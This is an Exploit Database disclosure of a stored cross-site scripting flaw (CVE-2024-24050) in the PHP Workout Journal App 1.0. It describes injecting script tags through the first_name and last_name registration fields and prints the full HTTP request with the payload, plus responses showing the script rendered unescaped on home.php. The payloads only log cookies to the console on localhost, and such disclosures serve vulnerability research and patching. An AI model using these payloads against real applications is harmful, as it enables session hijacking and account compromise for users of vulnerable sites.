Workout Journal App 1.0 – Stored XSS

Exploit Database
129 阅读

作者： MURAT CAGRI ALIS

日期： 2024-03-28
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51928/

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# Exploit Title: Workout Journal App 1.0 - Stored XSS

# Date: 12.01.2024

# Exploit Author: MURAT CAGRI ALIS

# Vendor Homepage: https://www.sourcecodester.com<https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html>

# Software Link: https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html

# Version: 1.0

# Tested on: Windows / MacOS / Linux

# CVE : CVE-2024-24050

# Description

Install and run the source code of the application on localhost. Register from the registration page at the url workout-journal/index.php. When registering, stored XSS payloads can be entered for the First and Last name on the page. When registering on this page, for the first_name parameter in the request to the /workout-journal/endpoint/add-user.php url

For the last_name parameter, type " <script>console.log(document.cookie)</script> " and " <script>console.log(1337) </script> ". Then when you log in you will be redirected to /workout-journal/home.php. When you open the console here, you can see that Stored XSS is working. You can also see from the source code of the page that the payloads are working correctly. This vulnerability occurs when a user enters data without validation and then the browser is allowed to execute this code.

# PoC

POST /workout-journal/endpoint/add-user.php HTTP/1.1

Host: localhost

Content-Length: 268

Cache-Control: max-age=0

sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

Origin: http://localhost

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: http://localhost/workout-journal/index.php

Accept-Encoding: gzip, deflate, br

Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=64s63vgqlnltujsrj64c5o0vci

Connection: close

first_name=%3Cscript%3Econsole.log%28document.cookie%29%3C%2Fscript%3E%29&last_name=%3Cscript%3Econsole.log%281337%29%3C%2Fscript%3E%29&weight=85&height=190&birthday=1991-11-20&contact_number=1234567890&email=test%40mail.mail&username=testusername&password=Test123456-

This request turn back 200 Code on Response

HTTP/1.1 200 OK

Date: Sat, 16 Mar 2024 02:05:52 GMT

Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4

X-Powered-By: PHP/8.1.4

Content-Length: 214

Connection: close

Content-Type: text/html; charset=UTF-8

alert('Account Registered Successfully!');

window.location.href = 'http://localhost/workout-journal/';

</script>

After these all, you can go to login page and login to system with username and password. After that you can see that on console payloads had worked right.

/workout-journal/home.php Request

GET /workout-journal/home.php HTTP/1.1

Host: localhost

sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-Dest: document

Referer: http://localhost/workout-journal/endpoint/login.php

Accept-Encoding: gzip, deflate, br

Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=co1vmea8hr1nctjvmid87fa7d1

Connection: close

/workout-journal/home.php Response

HTTP/1.1 200 OK

Date: Sat, 16 Mar 2024 02:07:56 GMT

Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4

X-Powered-By: PHP/8.1.4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 2791

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

<head>

<title>Workout Journal App</title>

<style>

body {

overflow: hidden;

}

</style>

</head>

<body>

<a class="navbar-brand ml-3" href="https://www.exploit-db.com/exploits/51928/#">Workout Journal App</a>

</button>

</li>

</div>

</nav>

<h2>Welcome <script>console.log(document.cookie);</script>) <script>console.log(1337);</script>)</h2>

<p>What would you like to do today?</p>

</div>

<p>Read your past workout journals.</p>

</div>

<p>Write your todays journal.</p>

</div>

</body>

</html>